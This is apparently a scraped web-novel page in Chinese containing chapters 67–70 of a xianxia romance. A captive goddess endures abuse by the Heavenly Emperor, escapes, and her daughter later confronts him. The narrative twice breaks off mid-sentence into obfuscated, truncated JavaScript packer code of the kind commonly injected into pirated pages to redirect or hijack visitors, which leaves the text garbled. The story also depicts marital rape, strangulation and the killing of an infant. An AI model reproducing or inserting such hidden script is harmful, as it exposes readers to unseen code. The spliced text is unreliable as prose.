“我是什么样?”凝安怔怔地问,“我从前是什么样?” “你从前很爱美的。”昊衡吐出无情地,“更不会在丢了孩子后大笑。” 这句话像是一道忽然而至的雷电,将凝安痛击到颤抖。 “我从前……”她扬起一抹柔婉的笑,“从前?从前啊……陛下怎么会提起从前呢?” 她的从前是被他毁掉的。 他怎么可以当他是无辜的? 她被一阵恶心感侵袭,趴在床沿干呕起来,昊衡往后退了一步。 凝安看着挂在墙上的装饰物,她曾经的尾羽,口涎和胃酸尽数吐了出来。 曾经,她是昊衡心里一件品貌双全的装饰品。 如今已经不合格了。 凝安抬起头,目光之中尽是晦暗,像是从海底爬上来的可怕鬼魅: “陛下,您会做噩梦吗?” 67. 他、她和他·三 昊衡目光冰冷。 “……你不懂啊。你什么都不懂。”凝安边咳边笑,“昊衡,和你在一起,就像是做噩梦。” 天帝之怒无声绵延,在场仙侍无不被迫压制跪地。 “阿凝,你病了。” 凝安漆黑的瞳仁倒映着他的脸,他说: “我会治好你。不再让你做噩梦。” 凝安终于不再笑了。她仰倒在床沿,睫毛颤了颤,只有血缓缓往下流,像是濒死之人静待着无常勾魂。 但凝安没有等来无常。昊衡亲自将保生大帝请来为凝安医治。 保生大帝何许人也,自然一眼就瞧出身病可解,心病无医。在为凝安看诊过后,保生大帝捻着胡须唉声叹气,好心向昊衡诚恳建议寝殿中别再放那么些人,影响凝安休憩。 凝安寝殿中虽然无人,但门外有许多双眼睛,许多双耳朵。 保生大帝为她缝好肚子,助她慢慢将疤痕淡下去。可日复一日,凝安仍旧抚着腹部,安静地,迟滞地坐在床头。保生大帝给她开的药方,她接过来,塞进嘴里吃掉。她并不想要一种药方,她想要离开这里,获得自由。 可昊衡固执地认为,她是可以坐在这个牢笼中被修好的,像是褪色的木头,只要再刷一层漆,就会像新的一样。 药方一次又一次被吃掉……仙侍们从大惊失色到面露不忍。如果没有纸张,凝安便会惊惧恐慌,张皇失措,直到手中攥着她喜欢的纸片。 从这个时候开始,凝安上神疯了的消息传遍整个神界。昊衡穷尽一切手段为她找来医治法子,众神不禁感慨天帝的偏爱,也为凝安上神感到可惜。 爱一个人,会希望给她最好的东西。天帝陛下分明将最好的东西都给了凝安上神,怎会变成这般模样? 真是世事无常。 凝安从仙侍口中听见这句话时,忽然笑了,开口道:“最好的东西?” 这是一句完整的话。仙侍们以为凝安终于好转,兴高采烈地告诉昊衡,昊衡翩翩赶来,果然看见凝安攥着纸张在笑。 “阿凝。” 在保生大帝一手照料下,凝安的羽毛逐渐长回来,脸颊上也有些肉了。此刻,凝安穿着霓裳彩衣,面庞上萦绕着圣洁的温柔,将手中的纸张吃进去,抚摸着自己的腹部:“……孩子好好的。她很好。” 姬烨将她送到了三危山,送到了西王母座下,西王母娘娘会继续用神力孵育她。她叫苍宁,她会和凝安看见的一样漂亮,有活力……她会在她看不见的地方平安地长大。 姬烨将这些情况全部隔空传书递到了这里。除此外,还有将她营救出来的计划,和深深的思念。凝安的目光一遍遍流连在姬烨的字迹上,她一寸寸抚过,直到无可奈何狠吃下去。柔软的纸张苦而涩,偶尔会割破凝安的舌头,但仿佛这样,凝安才能够感受到曾经依偎的温暖。 她在乎的一切,都还在这个世界上。她看见昊衡站在远处,当着他的面将纸张吞进胃里。她的心情变得很好,笑容明媚而温暖:“昊衡,他们说,你会把天底下最好的东西都给我,是不是?” 昊衡终于从凝安的眉目中找到了过往的影子,迎上去,切切道:“只要阿凝想要,只要阿凝爱我。阿凝想要什么,我都给你找来。” 凝安握着他的手,巧笑嫣然:“当真么?” “当真。” 凝安道:“既然如此,我要你把权力让渡给我,可以么?” 昊衡一怔。她继续说道:“这件事情都不用找呢,昊衡,好方便,简直是天底下最好的东西。” 昊衡冷下脸来:“我以为你寻的是东西。” “我寻的是东西呀。”凝安凝睇着他,仍是笑,“陛下都不愿意给的,难道不是最好的东西?” “荒谬。”昊衡冷厉道,“谁教你这么说的——姬烨?” “姬烨?他不是死了吗?”凝安道,“有了陛下,谁还会记得一个中途失踪的凤凰族少主呢?” 昊衡紧盯着她,末了,将她推到在床榻上,食指顺着她的脖颈往下滑到胃部,像是一把锋利的刀。 “姬烨还活着。” 凝安表情未变。 “阿凝,你高兴吗?” “我爱的是陛下,姬烨与我无关。”凝安早已学会用身体取悦他,转移他的注意力,只是昊衡垂眸看见了她腹部的疤痕,停下了动作。 凝安想在里面分辨出一次厌恶,可是没有。此刻,她竟然分不清昊衡眼中到底是什么样的复杂的冰冷。 自那日,昊衡不再频繁出入寝殿,他似乎很忙,有许多事情要处理,自然给了凝安喘息的时间。 凝安听保生大帝捻着长长的胡须说,神界外有动乱。 凝安还听仙侍在外头八卦,说创世神的妖孽后裔再度苏醒,正行佛修之路,天帝心善,请他来神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他推开,哑声道:“这些日子,尊者受昊衡之邀,回到神界。” “他来做什么?”凝安急道,“昊衡说他是全蛇之身,女娲血脉稀薄,不足称为创世之神的后裔,引导神界弃他为妖孽,如今哪有好心。” 姬烨说道:“昊衡欲与尊者达成一个交易。” “什么交易。” 姬烨眯眸,鬼气横生:“他用神界之位诱惑尊者,意欲借尊者之手,除去鬼王。” 听到这里,凝安双手发汗,心如擂鼓,面色发白:“姬烨,你……” “在尊者临行于神界前,我与他曾见过一面。他虽蛇蜕不顺,但已有双眼,力量恢复完全。”姬烨闭目,缓缓睁开,“我们与尊者,因果未了。” 68. 他、她和他·四 “尊者——愿意报恩?助你逃出生天?” 昊衡忌惮西王母,可不敢大张旗鼓。尊者生性淡漠,实则单纯,昊衡忌惮他,才以蛇性凶狠,妖孽之名将他逐出神界。 可晏长书到底是创世神的后裔,他的寿命自有天定,病弱之时,以蛇蜕调息,若未到时机,将永生不死。 昊衡无法杀死他。 许是害怕晏长书助姬烨气焰,昊衡这才请晏长书重回神界,想要剔除一份威胁。 姬烨问道:“你曾告诉我,尊者神通广大,力量源源不断。” “……他并非胎卵之生,乃女娲亲手所创生,后吸取天地精气化育而成。若以创世神的年岁估量,也不过是初初入世的懵懂少年。”他可抉择他身上的气息是空,是满,他与天地本是一体。幻术,不过是时空之法极小的偏支。若晏长书愿意,整个天地,任由他取,亦可成为他的玩具。凝安抿唇:“利用晏长书,对于昊衡来说是最好的一条路。可他妒忌心太强,无法忍受。再请晏长书回来又有什么用!我不信——我不信晏长书当真会蠢到与他合作。” 姬烨眯眸:“他会与昊衡合作。” “你说什么?” “他必须与昊衡达成这门交易。”姬烨缓声道,“尊者与我相见之事,惟有我们三人得知,其他人再不能知晓。便是西王母娘娘,也切不得告诉。我们已见过宁宁,所有事情勾连万千,需细细思考。” 凝安略一细想,脑中火花闪过。苍宁是她与姬烨的女儿,这点千真万确。可苍宁却口口声声说自己在三危山长大,未曾见过爹爹娘亲。 苍宁口中的,是来日必将呈现的事实。 凝安张唇:“你……” “你知道,我为人意气,唯有当年灭门之事忍气吞声,报仇雪恨。如今事关你,事关苍宁,更事关于苍生,我不得不小心谨慎。”姬烨道,“我思来想去,昊衡所布之棋实在细密。他意图为你,是其二,权欲熏心,才是其一。恨我,是其二,借刀杀人,才是其一。” 姬烨眸光坚毅,继续接道:“他知晓我不甘心,借我除去真正的鬼王,想要我在污浊的鬼气中枉死。既然世上已无姬烨,只要一个疯癫的鬼王现世,立刻就可以再借尊者的手,除去鬼王,得到整个鬼界。恰好,尊者因行佛修,将许多力量抛予旁人,只要尊者愿意与我大打出手,必将再次进入虚弱的蛇蜕之期。这样一来,昊衡既能得到你与鬼界,又能除掉我,叫晏长书耗费大量精力,重回蛇蜕,可谓是一石四鸟。” 最重要的是,天帝之威名永不蒙羞。 凝安吸气:“你与尊者,如何相谈?” “时间恒远,并非一时,一个节点。”姬烨道,“阿凝,昊衡傲然于世,轻看了我。我却不能就此轻看我自己。我既为鬼王,掌生死轮回,已将昊衡凌虐的凤凰一族从鬼界救起,叫他们逃出生天,另寻僻静之处。天地之间再无凤凰山,可只要一息尚存,仍会有许多凤凰再度浴火重生。你知道的,我也是……我曾是凤凰,只要我真的还是凤凰……如果我还有浴火重生的资格,昊衡要我死,我何不将计就计,置死地而后生?” 一团黑糊糊的影子声音哀戚,凝安闭上眼,心如刀割。她平静询问:“如果你不能呢?” 浑浊不清的鬼气停滞一瞬,尔后四处流窜。他眼底的情感澎湃,有若翻江倒海,最后如当夜的月光一样轻柔而哀恸。 他终于回应她:“那就当……” 他顿了顿,咬着牙关强迫自己继续说下去,牙关将舌头咬出了血,往身体里咽,可吃下浓血之后,他可悲地发觉鬼气正因鲜血激动地到处游走,而非感到恶心。 他早就不是当初的姬烨了,他只是抱有一丝希望……为这可怜的哪怕只有一的可能性……不,不可以再想了! 他感到鬼气无法克制,慢慢往后撤步,将这团不堪入目的黑影远离她纯洁美好的存在。如果不能,如果不是,如果鬼气早已将他吞噬,只是一颗心在产生濒死的幻觉,那么…… “姐姐,那就当你爱的那个姬烨早就死在了凤凰山上。”他笑着哄她,眼中满是温柔地无望,“他生时是凤凰,死时是凤凰,不可能变成这副模样。” 本该这样,对吗? …… 此夜过后,凝安便听闻晏长书频繁出入神界。 晏长书如今跟着菩萨修行,有尊者之名,昊衡似乎对晏长书的态度格外好,神界也对这位尊者恭敬有加。 凝安虽想见晏长书,可无法挣脱身上的缚神索,只能坐在寝殿中。正值此时,她听闻昊衡纳了三位宠妾,小仙侍安慰她,说陛下念着娘娘身子不适,才未有叨扰。 凝安苦笑。这群小仙侍都是小娃娃,天真烂漫的年纪,被迫懂了这些。只是,仙侍还是向着昊衡的,凝安认清了这一点。 恰逢昊衡去往宠妾寝殿中时,晏长书翩然而至,如一尊慈悲玉佛。 凝安坐在寝殿门口,终于站起身,眼中勃发着炽热而滚烫的光。她问道:“尊者可曾记得,在尊者将双眼送给比翼鸟后,途径凤凰山,恰逢蛇蜕之期,气息紊乱,身弱难支之事。” 晏长书黑眸沉静,黑玉般深不见底。 凝安轻笑道:“尊者曾说,有恩必报,是否还作数?” 晏长书不似姬烨感性易动,他神色冰冷,却并非迟滞顿感,给旁人反应都像是一种施舍。凝安见他略作思考,清冷的声音如冰冷的冬川,叫人冷得发颤。 “娘娘知道死的滋味么?” 凝安不知其意。 晏长书继续说道:“应该很痛。我每每蛇蜕,总是会有疼痛难忍的时候。每一片蛇鳞都有不适。不知凤凰重生是否是重塑骨肉,再世而来?” 凝安牙关打抖:“您真的……真的要杀他吗?没有别的办法,别的可能……您通晓时空之术,何不直接切割时空……” 晏长书静默半晌,说道:“如今我虽有佛修之力,可体内蕴藏的力量并不足以扭转时空。若要玩弄时空,必将攫取天地之力,以生灵涂炭为代价,这是娘娘想要的结果吗?为救一个人,宁愿叫全天下为代价?” 凝安深吸一口气,沉默不语。 他说道:“我送苍宁回到未来时,曾答应她会替她照顾好一切。” “你……你不是为了报……恩?” “若说是,也是吧。”晏长书略略点头,“用报恩来解释给青鸾听,应该比较容易理解。姬烨的恩情,你的恩情,还完之后,就算是因果已了。苍宁……菩萨对我说,强求因缘,必定伤己。” 凝安蹙眉道:“尊者当真爱苍宁么?尊者有大爱,却知道什么是她想要的爱吗?” 晏长书侧目:“以后或会知晓。” “我并不奢望尊者知晓,尊者没有必须知晓的必要。”晏长书和昊衡一样,并非胎卵之生,对人情之事,哪能一学便会,“尊者说过,时间恒远,也许对您来说,爱和时间不一样,本就是一件捉摸不透的东西,但爱不是玩物,我的苍宁,亦不可能成为尊者用来体验什么是爱的玩物。” 凝安目光如炬:“事到如今,我什么都不怕,但前路漫漫,有太多我掌控不了的可能,我不知我是生是死,唯有我的孩子,我的苍宁,我不能容忍她受到神界半点侵污……如果尊者当真要还我的恩情,请把这份恩情还给苍宁,以尊者之力——助她脱离困境!” 晏长书垂眸:“你想要我的力量?” 凝安微微勾唇:“尊者,弱者非恒弱,强者非恒强,世界万物,瞬息万变。能为自己做出足够的决定,需要足够强大的力量。我不敢奢求您当真会永远爱她,但是滴水之恩当涌泉相报,这份恩情,您答应过我,会报答,不是吗?” 听到这里,晏长书清冷神色有了变化:“我会答应你。” 他浅浅一笑,沉声道: “因为,我答应过宁宁。” …… 晏长书走后,寝殿外的草丛动了动。凝安悬心吊胆,见那名安慰她的小仙侍被绊倒,趴在了地上。 凝安目露冷色:“你听见了。” 小仙侍摆手:“我不会告诉陛下的。娘娘,其他仙侍都被我迷晕了。” 凝安迟疑道:“你为何要帮我,你会死的。” 小仙侍眨巴眼,嘿嘿两声:“娘娘不用怕。我本来就想死的,没准儿这样还能死的快一些呢?” 凝安拧眉不语。 夜里,昊衡沾着一身香粉气息来到寝殿。凝安坐在床榻前修剪花枝,不与他交谈,反倒自得其乐,根本不像病重之人。 昊衡凝眸冷道:“这些日子我没来,你不在意我与旁的女子言笑晏晏?” 凝安微笑:“您是天帝,是陛下,自然想做什么都可以。” 昊衡极为不满。他不知从哪里听说这法子可以激起女人的嫉妒心,想要验证验证凝安是否真心爱他,凝安笑了笑,说这法子不靠谱,况且,昊衡沾了其他女人,是对她的背叛,一个背叛她的男人身子是不干净的。 凝安笑道:“就算你将她们杀了也无济于事,姬烨从没有碰过其他女人,这样想来,姬烨比陛下更爱我些?” 昊衡抿唇道:“他死了。” “死了不是更好?”凝安故意刺激他道,“他会永远比你好,没有任何犯错的可能。在我心中,永远完美无缺。” 昊衡脸色一白,掐住她的脖颈,将她带到床榻上:“阿凝,爱我。”他握紧缚神索,低声道,“不要逼我折断你的翅膀。”很快,昊衡就发现,凝安和那些个新纳的宠妾一样,脸上有一种麻木的恐惧。这是臣服,不是爱,这不是他想要的东西。 为什么得不到呢? 为什么就是得不到呢? 凝安嘴唇滟滟:“听闻陛下近日忙碌,不需要处理事务吗?” 昊衡起身,从她身体里出来,兴致全无。 “阿凝,我请晏长书来神界,若他能倒转时空,就能让你回到当初的模样。” 若有当初,回到凝安与昊衡见面的第一天,她一定会把那个伤痕累累的,满身绷带的少年郎杀死。 凝安淡笑,目光愈发坚毅:“不会的,陛下,永远回不到当初了。” …… 神界萦绕着一种紧张的气氛,众神自危。凝安也感受到了相当不妙的气息。 昊衡来寝殿的次数更少了,但凝安偶尔会被他生生掐醒。他掐住她的脖子,好像能掌控她的命运。 凝安面无表情地问:“你为什么不让我去死?” 昊衡居高临下地俯视她:“……你一直在骗我,是不是?” 昊衡轻声喃喃,眼中有痴狂相:“你从来都在骗我,从来都没有爱过我,是不是?” 昊衡垂下头,双手用力,凝安脖颈几乎要被掐断掉。她说不出半句话,等到眼前有块浮木出现,凝安手忙脚乱地抓住对方,才发现昊衡松开了手,很轻很柔地吻了吻她的唇角。 凝安推开他的脸,猛烈地咳嗽着,昊衡掐住她的下巴,疯狂和她接吻,咬出了一口血水。 “孩子还活着,是不是?” 凝安心里一颤:“死了。” 昊衡不愿相信:“我们的孩子……” “死了!没有了!”凝安不知他在发什么疯,又说起这些陈年烂事,将他猛地推开,身上的缚神索不停响动着。 昊衡握紧缚神索,她的四肢无力摊开,他俯身而上。 “你的身子终于好了。”昊衡抚摸她,残忍地说,“既然如此,再怀一个孩子吧。她们怀的,我不需要。我只要……我们的孩子。我与阿凝的孩子。” 凝安无法抗衡,闭上眼,眼泪从眼角滑下去。 很痛。 眼泪滑过的痕迹很痛,身子也痛。 这夜过后,凝安才知晓,原来是宠妾瞒着昊衡丢了避子药。宠妾原以为天帝陛下会高兴,瞒着生出来,结果昊衡看见,脸色沉沉,只说了一个字:丑。 他把孩子和宠妾都绞杀了干净,脸上沾满了鲜血,面无表情。秩序不容践踏,对昊衡来说,他建立的秩序,要在他完美掌控之下,若有秩序之外的东西出现,都不允许,都是错误,都要清除。 …… 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你的名字?” 小仙侍摇头:“不必在意我。”小仙侍将凝安推入密道,急声道:“去吧,大人。您现在可以飞了,您可以飞起来了!” 凝安握住他的手,一时语塞。 她转过身在密道中奔跑。久居未动的身体虚弱无比,喉中溢出腥甜。 她在奔跑的喘息中发现自己在哭,也许是太过于激动,也许是难受,所有的情绪在身体中凝结成团,难以排解。 凝安笑了一声。她忽然觉得好人是有好报的,忽然觉得善意是不需要理由的,在这一个短暂的时刻里,她忽然就原谅了这个她爱过的世界。 等到眼前的光点闪烁着,摇晃着,终于得见一片天,她才发现自己真的可以飞在空中,自由地、畅快地,像一只真正轻盈的鸟儿那样飞到云层之上。 她可以飞,她真的可以飞了! 可是—— 凝安很快发现了生灵涂炭的场面。飞得越高,她便越能看见苦难。人界目及之处,赤红之火蔽日,焦土蒸腾着腐臭和腥味,断肢粘附在枯地之上,血肉模糊的手露出森森白骨。地平线传来婴儿断断续续的哭声,旋即被撕成碎片,融进炽热的战火中。 高天上,天帝和鬼王的打斗遮天蔽日。凝安张开翅膀,降落在人骨耸骇之地。 她获取自由的第一件事,是去拯救她爱过的,憎恨过的世界。 那是青鸾与生俱来的执念。 也是她存在的证明。 …… 神鬼大战结束时,尊者晏长书协助天帝收伏镇压鬼王,耗费大量力量,后闭关修炼,不再出现。天帝一统三界,侧妃凝安不忍天地万物为刍狗,以青鸾之身化雨救苍生,身形陨灭。 天帝痛极。为凝安修建墓房,在内吃睡百年之久。神界皆为天帝感到惋惜。 神鬼大战结束二百年后,天帝听闻在三危山有一孩童十分像凝安,趁着西王母远游之际,将苍宁接往神界。 昊衡本以为,这就是他与凝安遗落在外的血脉,激动得想要好生养待,谁知他竟然发现,这是凝安与姬烨的孩子——是凤鸟与青鸾的后裔! 昊衡忍无可忍。 为什么! 为什么凝安这样爱姬烨!为什么宁愿以身救苍生也不愿意留在他的身边! 为什么欺骗他,他们曾有孩子! 为什么要留下这个该死的孩子!! 为报复姬烨,昊衡欲用旧法贬苍宁入鬼界,叫瑞鸟在鬼气中受尽折磨,再惶惶死去。 她会得到和姬烨一样——一模一样的待遇。 只是阿凝…… 她长得好像你。 她长得好像你。 好像你。 …… 过往的一切在苍宁脑中走马灯似的浮现。 苍宁扶着疼痛的脑袋,从一张大床上醒来,身上有四条金色的缚神索,正以极其羞耻的姿势躺着。 眼熟的地方,眼熟的束缚。 “你醒了。” 苍宁一惊。 她抬头望过去,这张床榻尽头坐着的,正是一脸冰冷的昊衡。 千年过去,昊衡比苍宁在时空之术看见的要更加沉冷。苍宁无法挣脱缚神索,看见昊衡扯出了一个笑。 他伸手抚摸她的脸,扯出一个笑:“你和你母亲长得很像,你知道吗?” 苍宁感到恶心极了,反手甩了他一巴掌:“别碰我!” 昊衡唇边有血,高深莫测地回头:“脾气倒是像姬烨,叫我觉得恶心。” 苍宁破口大骂:“不许你说我爹的名字!” 昊衡冷笑,慢条斯理地交叠着腿,与她拉开距离。 “也多亏了你,我倒是看了一出晏长书的好戏。”昊衡冷厉道,“我与他一样,都非胎卵之生,他为何能叫你死心塌地?” 昊衡嗤笑道:“难道是蛇性本淫,能叫你欲/仙/欲/死?” 69. 万象更新·一 苍宁知晓昊衡心性,不欲与他行口舌之辨,白费时间。但苍宁更知晓,此时此刻,她所处的境地,就是凝安的过去。 四条缚神索分别栓在她的双腕和双足上,牢牢将她禁锢。苍宁发觉魄丹力量正常流转,只是力量会被缚神索吸走,无法快速挣脱。苍宁想到当年自己的母亲便是这样生活了百年之久,不由心如刀割。 ……当下之急,是从这里逃出去。 手脚虽被套牢,好在苍宁忽然想到一个法子。机缘巧合,终于能用上。 苍宁笑道:“可惜,若真要算起来,我和晏长书还从未行过敦伦之乐。所以,你猜错了。天帝老儿,快快放你奶奶出去,一千多年前你能逃过一劫,现在可未必。” 她语气狂妄,昊衡眉梢微动,冷声道:“黄毛小儿,自不量力。” 昊衡指尖微动,漫天寒霜扑面而来,眨眼便将寝殿霜封。苍宁四肢凝上霜雪,血液逐渐冰冻,一根隔着一千多年的霜寒之矢从空中就要正中苍宁眉心羽印! 苍宁眼中卍字浮现,霜寒之矢停滞空中,仅仅一瞬,苍宁的朗笑声从四面八方传来:“天帝老儿,天地万物终有时,你可曾想过自己的死期?” “终有一日。”她咬牙切齿道,“我会替我爹娘报仇,替你害死的无辜苍生报仇,取你狗命!” - 苍宁没想到,当时貔大虎硬要塞给她的草叶在这时派上了用场。又用了一回。 好在不是一次性的。咳。 苍宁捏着叶片从天而降的时候,压破了财神爷的塑像。她龇牙咧嘴地揉着摔疼的臀部,坐在财神爷该做的位置,香火气迷晕了她的眼睛,她猛地咳嗽起来。 庙宇里的人纷纷跪地: “财神爷来了!财神爷来了!” “财神爷显灵了!!!” “恭迎财神爷——” 苍宁低头看见财神爷的碎片躺在地上,一派笑意吟吟,盯着她的眼睛,苍宁不由呵呵两声,问道:“这里有石狮子吗?” 财神爷有令! 一个浓眉大眼的男人慌忙上报:“有的,正在门外!” 大家齐心协力把石狮子抱过来,苍宁一看,不过是普通的石狮子,没有任何神兽的气息。眼见越来越多的人堵在门口,苍宁怕当真有神仙察觉,便撒了一堆金子当封口费,告诉凡人,如将今日之事逢人出口,此生必将与金银无缘。 果真,金子一出,苍宁便发现了蛛丝马迹。 她挥手将财神爷的塑像恢复如初,拎起其中一个甩出云鬃尾巴的少年郎眨眼便飞到孤山之间。 少年郎气得不行,嘴里鼓鼓囊囊咬着金子,炸出一颗貔貅头,指着她道:“你现在回来做什么?天兵天将都找你好久了,还不赶紧溜!” 辟星忽然瞥见她额头上有三枚羽印,疑惑道:“凤凰山不是不在了么……你,你从哪知凤凰那里修来了凤凰秘法?” “和我爹爹娘亲学的呗,”苍宁难得好声好气道:“这不赶来谢谢你嘛。” “啊?”辟星大吃一惊,“你方才说爹爹娘亲是……?” “本来是一个乌龙,现在看起来不是乌龙了。当时和你在兔儿精那儿告别,去寻了晏长书,一不小心误用了时空之术。我回到过去见到了爹爹娘亲,本想杀天帝以绝后患,可惜未成功,正巧从时空中已经得知了我爹娘与天帝的事情,”苍宁掏出五十金给他道,“不知怎么,我回来竟然在天帝手中,好在当初那枚草叶还没扔,不然我怎能在天帝那儿死里逃生?” “原来是这样……竟然是这样……当年刺杀天帝之人……”辟星恍然大悟,连忙推拒道:“欸,欸,本大爷讲道理,五十年前带你寻欢作乐时已经给过了,不用再给了。” 苍宁手一顿:“五十年前?” 五十年前?!这时间怎么和流水一样不经花…… 辟星点头:“是啊,兔儿精那里的事情,都是五十年前的事情了。我不懂时空之术,但是晏长书……” 眼见苍宁呆在原地,满脸不敢置信,辟星悄咪咪凑过来,查看她的神情,小心翼翼地试探:“你已经知晓晏长书的状况了?” 苍宁:“什么状况?” 辟星啧了一声,暗道不妙:“说来话长啊。” “你还不给我长话短说?” “这个……” 苍宁掐住他脖子上的柔软鬃毛摇了摇:“你快说啊你要急死我!” “我说我说,我的祖宗啊,别扯我围脖!!” 原来,苍宁回到过去之后,晏长书便当即结束了轮回,回到了西天极乐世界。 他丢了万年佛修,轮回修行失败,违背了佛修律令,令西天失望。 为防止后生效仿、不敬轮回,西天剥夺晏长书尊者之名,处以重责,令他永不得再入佛修。 他主动领罚,在地狱十八层地狱沉沦已有五十年。 年数虽少,惩罚却重:割肉离骨、火海煎熬……十八层地狱皆有他的身影。晏长书出火海之时,受尽折磨,终于还清代价。他本就将一身修为和力量给了苍宁,是用不死的生命强撑下来。 可惜最后,他还是无法维持人身蛇尾,变作一条小蛇:乍看和凡间大虫别无二致,混沌愚蠢,再无灵光。 后来,无人再瞧见晏长书身在何处,直到—— “——直到晏长书修书一封,送到三危山,是西王母娘娘亲眼所见……” 晏长书的信上歪歪扭扭留着字迹,却成不了字,不像是毛笔所书。 三危山众人努力辨认之后,才从那堆枯荷般的枝枝叉叉重拼凑出两个字。实则是仅有的两个字。 苍宁。 西王母捏着信纸,感知到微弱的跳动,一如心脏。她食指点住信纸,破除掩盖之术,信中光华乍现,竟催生出一颗淡金色的,勃勃跳动的仙丹。 这颗仙丹旁人无法触碰,便是西王母也无法撼动半分,只能放在信中,等待信中人来取。 苍宁呼吸一窒:“那晏长书呢?” 辟星甩甩尾巴:“你知道,晏长书那家伙不会死的。他定有他的考量。不必担心。” 她知道。 她知道她知道她知道! 可是他不会死,却有感知,也会痛…… 苍宁触到手腕上血红两点,感受到晏长书还停留在世间的痕迹:淡淡的,像是天边一抹极易被风吹散的流云。 她转身朝三危山飞去。 - 三危山。 彩云阵阵,神光普照。 苍宁马不停蹄地往里飞去,一众仙侍纷纷行礼,林芝伸手拦她:“大人回来了。” 林芝瞥见她额头上开了三枚羽印,眸光潋滟,弯唇恭贺:“恭喜大人开得羽印,娘娘等候多时了。” 苍宁回来是回来了,可一反常态,少了咋咋呼呼,变得沉稳许多。她知晓面见西王母喜洁,遵守规矩老实净身沐浴,没有像儿时一样埋怨流程繁琐。 浴池中弥漫着热气,乳纱般笼罩。 苍宁将身上的污浊洗净,触到腕间两点时,不安的心稍稍沉下些。 他还活着。 可这次和从前不一样,苍宁无法判定晏长书究竟在何处。只觉得似空似满,捉摸不透。 她想见他。 她握紧手掌,温水从指间流窜,回到池中。 她还有很多疑惑……有关晏长书和姬烨和凝安的见面,有关晏长书和天帝的交易,她有很多话需要他亲自解答。 但不止是这样。 她相见 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她咳嗽两声,盯着杯中茶水,一滴不剩。食盘中的糕点一颗未动。她静静抚着胸口,并未发现有何异样,还道自己是出现了幻觉。 可不久后,她便在浴池中睡着了。 她似乎听见屏风外林芝在和旁人说话: “……丹……何在?” “不见……诶呀……” “如何是好?” …… 不知是不是浴池中太过舒服,苍宁竟感觉经脉顺通,从未有过这样舒服,好似有一股前所未有的力量正沿着她的脉搏流往四肢全身,最后汇聚于魄丹中,蒸腾出一股前所未有的热意。 昏昏沉沉间,苍宁恍惚间看见了晏长书的脸,那家伙含着微笑,俊得不得了。苍宁跑过去,跳到他的身上,生气地说:“你去哪里了!我找不到你,找不到你知不知道!晏长书……我很担心你。我有很多话想要和你说呢……” 晏长书像一尊半喜半悲的佛像。 他拍了拍她的头,静静说道:“我就在你身边。宁宁,我哪里都不去。” “真的?” “真的。”他浅浅一笑,苍宁却觉得他虽能被触碰,却离得很远,远得根本无法看见。 “宁宁,我会助你渡过难关的。”他轻点她的额头,黑眸之中光华流转,像一颗炽热的星: “你想要的,我都会助你争取。不是报恩,宁宁……” “那是什么?” 他笑了笑,俊逸面容忽然如水间涟漪,被人触碰了,抖动着,再也不见了。苍宁怎么找都找不到,天黑了,源源不断的水流将一切冲刷,她站在原地,等晏长书回来。 “晏长书!” “晏长书!” 身体越来越烫,苍宁忽然感受到天地山川的呼吸,甚至能听到一片叶子的震颤。那是一种极其奇妙的体验,好似她能够与世间万物通语,敏锐到山、水、云、花……一切的一切都和她有着丝线般的勾连。 只要她拉开其中一条丝线,就能够控制整个时空! 而只要她张开双手,万物就会为她停留。 她能感受到,万物并非她的附庸,而是真心实意地……与她为友。 与此同时,天外传来了一声声急迫地呼唤: “大人,大人醒醒。” “大人!” 苍宁的意识忽然被扯回三危山,她睁开眼,卍字在眸中如蛇缠绕,时空瞬间静止。林芝的表情和动作都停滞不动。 一个呼吸后,苍宁将丝线拨动,时空继续。 林芝着急道:“大人,娘娘有要事请您面见!” 70. 万象更新·二 苍宁穿好衣裳往西王母所在处赶去。轻如蝉翼的天衣无比飘逸,行动之间颇具风流。西王母正襟危坐,神情不似平日轻松,威严肃穆。 见到她之后,憋着的一口气终于叹出:“你回来了……平安便好。” 苍宁鼻尖微酸,盈盈道:“娘娘……” 西王母的目光在苍宁额际流转,轻声问:“见到了你爹娘?” 苍宁点头,把回到过去的所见所闻都与西王母说了。西王母重听往事,颇为感慨。苍宁在提及回来后天帝将她捆绑在床榻一时,眸中恨意难忍,情绪激动时,竟叫大殿众仙侍倍感心慌,重峦殿宇无端断裂。 高殿中的人俱是震惊,面面相觑。 苍宁只觉魄丹中的力量无穷无竭,只要她愿意,便可从天地中攫取源源不断的力量。她目视双手,几分惊讶几分愉悦道:“几种力量相融后竟如此厉害……” 西王母沉默片刻,目光灼灼流转,看向苍宁。尔后,她唤林芝取来信纸,那信纸中无人能移动半分的淡金色仙丹不见踪迹。 据看守书信的仙侍说,只是一眨眼的工夫,仙丹便从眼中消失,不知去了什么地方,她便赶忙汇报给了林芝。 西王母沉声道:“那是个稀罕物,若凭旁人意愿,不可能如愿。” 晏长书送来的东西,小小仙侍定然无法撼动,唯有一个可能,是仙丹自己从信纸中溜走。 可那仙丹…… 她顿时心下了然,叹了口气道:“……苍宁,看看信吧。” 苍宁不知他们说的仙丹是何物,但飘在空中的信纸缓缓飘落在她手中,她不得不看,也不得不去辨别晏长书究竟是何深意。 空白。 信纸上是空白。 苍宁皱起眉,有些不解,抬头后才发现,信纸上歪歪扭扭不成样子的墨迹全都从信纸上剥离,停留在空中。 自原处看,墨迹原本的模样可以拼凑成“苍宁”二字。可那些墨迹在空中扭动着,竟一股脑钻进了苍宁身体中,消失不见。 苍宁扶着胸口,未感觉到任何异样。淡金色的流光彻底消散,苍宁没有得到更多信息,也没有看见其他事情的发生。 西王母只说稍安勿躁,又问道:“身体如何?” 苍宁点头:“好。” 前所未有的好。 西王母道:“你已今时不同往日。天帝那边,已在寻你踪迹。” 苍宁笑道:“娘娘可是要叫我不要莽撞?” 西王母抬手,示意苍宁上前去。她在苍宁额上一点,苍宁便觉体内一股如阳似阴的气息传入,丰盈着魄丹。 西王母目光平静:“如今,你的身子应当能承受这阴阳之火了。” 苍宁:“阴阳之火?” 